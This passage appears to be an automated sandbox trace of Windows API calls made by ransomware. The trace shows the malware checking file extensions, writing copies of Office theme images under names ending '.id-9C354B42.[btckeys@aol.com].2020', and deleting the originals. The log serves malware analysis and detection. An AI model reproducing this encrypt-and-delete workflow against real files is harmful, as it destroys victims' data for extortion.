(lpString1=".doc", lpString2=".PNG") returned -1 [0081.906] lstrlenW (lpString=".docx") returned 5 [0081.906] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.906] lstrlenW (lpString=".pdf") returned 4 [0081.906] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.906] lstrlenW (lpString=".xls") returned 4 [0081.906] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.906] lstrlenW (lpString=".xlsx") returned 5 [0081.906] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.906] lstrlenW (lpString=".ppt") returned 4 [0081.906] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.906] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.906] lstrlenW (lpString=".zip") returned 4 [0081.906] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.907] lstrlenW (lpString=".rar") returned 4 [0081.907] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.907] lstrlenW (lpString=".bz2") returned 4 [0081.907] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.907] lstrlenW (lpString=".7z") returned 3 [0081.907] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.907] lstrlenW (lpString=".dbf") returned 4 [0081.907] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.907] lstrlenW (lpString=".1cd") returned 4 [0081.907] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.907] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\PROFILE\\THMBNAIL.PNG") returned 76 [0081.907] lstrlenW (lpString=".jpg") returned 4 [0081.907] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.907] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.907] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.907] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.908] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1439) returned 1 [0081.908] CloseHandle (hObject=0x198) returned 1 [0081.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0081.908] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.908] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0081.909] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.909] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0081.909] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0083.076] GetLastError () returned 0x0 [0083.076] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x59f, lpOverlapped=0x0) returned 1 [0083.078] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0083.080] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0083.080] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0083.080] SetEndOfFile (hFile=0x168) returned 1 [0083.080] CloseHandle (hObject=0x168) returned 1 [0083.080] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.080] SetEndOfFile (hFile=0x198) returned 1 [0083.081] CloseHandle (hObject=0x198) returned 1 [0083.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.082] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0083.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.082] lstrlenW (lpString=".doc") returned 4 [0083.082] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.083] lstrlenW (lpString=".docx") returned 5 [0083.083] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.083] lstrlenW (lpString=".pdf") returned 4 [0083.083] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.083] lstrlenW (lpString=".xls") returned 4 [0083.083] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.083] lstrlenW (lpString=".xlsx") returned 5 [0083.083] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.083] lstrlenW (lpString=".ppt") returned 4 [0083.083] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.083] lstrlenW (lpString=".zip") returned 4 [0083.083] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.083] lstrlenW (lpString=".rar") returned 4 [0083.083] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.083] lstrlenW (lpString=".bz2") returned 4 [0083.083] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.083] lstrlenW (lpString=".7z") returned 3 [0083.083] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.083] lstrlenW (lpString=".dbf") returned 4 [0083.083] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.083] lstrlenW (lpString=".1cd") returned 4 [0083.083] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.083] lstrlenW (lpString=".jpg") returned 4 [0083.084] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.084] lstrlenW (lpString=".doc") returned 4 [0083.084] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.084] lstrlenW (lpString=".docx") returned 5 [0083.084] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.084] lstrlenW (lpString=".pdf") returned 4 [0083.084] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.084] lstrlenW (lpString=".xls") returned 4 [0083.084] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.084] lstrlenW (lpString=".xlsx") returned 5 [0083.084] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.084] lstrlenW (lpString=".ppt") returned 4 [0083.084] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.084] lstrlenW (lpString=".zip") returned 4 [0083.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.084] lstrlenW (lpString=".rar") returned 4 [0083.084] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.084] lstrlenW (lpString=".bz2") returned 4 [0083.084] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.084] lstrlenW (lpString=".7z") returned 3 [0083.084] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.084] lstrlenW (lpString=".dbf") returned 4 [0083.084] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.085] lstrlenW (lpString=".1cd") returned 4 [0083.085] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.085] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0083.085] lstrlenW (lpString=".jpg") returned 4 [0083.085] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.085] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0083.085] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0083.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0083.086] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=3970) returned 1 [0083.086] CloseHandle (hObject=0x198) returned 1 [0083.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 0x20 [0083.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0083.086] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.086] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.086] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0083.089] GetLastError () returned 0x0 [0083.089] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0xf82, lpOverlapped=0x0) returned 1 [0083.091] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf90, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf90, lpOverlapped=0x0) returned 1 [0083.092] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0083.092] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0083.092] SetEndOfFile (hFile=0x168) returned 1 [0083.092] CloseHandle (hObject=0x168) returned 1 [0083.092] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.093] SetEndOfFile (hFile=0x198) returned 1 [0083.094] CloseHandle (hObject=0x198) returned 1 [0083.094] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.094] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\preview.gif")) returned 1 [0083.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.094] lstrlenW (lpString=".doc") returned 4 [0083.094] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.094] lstrlenW (lpString=".docx") returned 5 [0083.094] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.094] lstrlenW (lpString=".pdf") returned 4 [0083.095] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.095] lstrlenW (lpString=".xls") returned 4 [0083.095] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.095] lstrlenW (lpString=".xlsx") returned 5 [0083.095] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.095] lstrlenW (lpString=".ppt") returned 4 [0083.095] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.095] lstrlenW (lpString=".zip") returned 4 [0083.095] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.095] lstrlenW (lpString=".rar") returned 4 [0083.095] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.095] lstrlenW (lpString=".bz2") returned 4 [0083.095] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.095] lstrlenW (lpString=".7z") returned 3 [0083.095] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.095] lstrlenW (lpString=".dbf") returned 4 [0083.095] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.095] lstrlenW (lpString=".1cd") returned 4 [0083.095] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.095] lstrlenW (lpString=".jpg") returned 4 [0083.095] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.095] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.096] lstrlenW (lpString=".doc") returned 4 [0083.096] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0083.096] lstrlenW (lpString=".docx") returned 5 [0083.096] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0083.096] lstrlenW (lpString=".pdf") returned 4 [0083.096] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0083.096] lstrlenW (lpString=".xls") returned 4 [0083.096] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0083.096] lstrlenW (lpString=".xlsx") returned 5 [0083.096] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0083.096] lstrlenW (lpString=".ppt") returned 4 [0083.096] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0083.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.096] lstrlenW (lpString=".zip") returned 4 [0083.096] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0083.096] lstrlenW (lpString=".rar") returned 4 [0083.096] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0083.096] lstrlenW (lpString=".bz2") returned 4 [0083.096] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0083.096] lstrlenW (lpString=".7z") returned 3 [0083.096] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0083.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.096] lstrlenW (lpString=".dbf") returned 4 [0083.096] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0083.096] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.096] lstrlenW (lpString=".1cd") returned 4 [0083.096] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0083.097] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\PREVIEW.GIF") returned 76 [0083.097] lstrlenW (lpString=".jpg") returned 4 [0083.097] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0083.097] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0083.097] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0083.097] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0083.098] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=53115) returned 1 [0083.098] CloseHandle (hObject=0x198) returned 1 [0083.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 0x20 [0083.098] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0083.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0083.098] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.098] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.098] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0083.099] GetLastError () returned 0x0 [0083.099] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0xcf7b, lpOverlapped=0x0) returned 1 [0083.101] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xcf80, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xcf80, lpOverlapped=0x0) returned 1 [0083.103] ReadFile (in: hFile=0x198, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0083.103] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0083.103] SetEndOfFile (hFile=0x168) returned 1 [0083.103] CloseHandle (hObject=0x168) returned 1 [0083.103] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0083.103] SetEndOfFile (hFile=0x198) returned 1 [0083.104] CloseHandle (hObject=0x198) returned 1 [0083.104] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0083.104] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ricepapr\\thmbnail.png")) returned 1 [0083.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.105] lstrlenW (lpString=".doc") returned 4 [0083.105] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.105] lstrlenW (lpString=".docx") returned 5 [0083.105] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0083.105] lstrlenW (lpString=".pdf") returned 4 [0083.105] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0083.105] lstrlenW (lpString=".xls") returned 4 [0083.105] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0083.105] lstrlenW (lpString=".xlsx") returned 5 [0083.105] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0083.105] lstrlenW (lpString=".ppt") returned 4 [0083.105] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0083.105] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.105] lstrlenW (lpString=".zip") returned 4 [0083.105] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0083.105] lstrlenW (lpString=".rar") returned 4 [0083.105] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0083.105] lstrlenW (lpString=".bz2") returned 4 [0083.105] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0083.105] lstrlenW (lpString=".7z") returned 3 [0083.105] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0083.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.106] lstrlenW (lpString=".dbf") returned 4 [0083.106] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0083.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.106] lstrlenW (lpString=".1cd") returned 4 [0083.106] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0083.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.106] lstrlenW (lpString=".jpg") returned 4 [0083.106] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0083.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.106] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RICEPAPR\\THMBNAIL.PNG") returned 77 [0083.106] lstrlenW (lpString=".doc") returned 4 [0083.106] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0083.106] lstrlenW 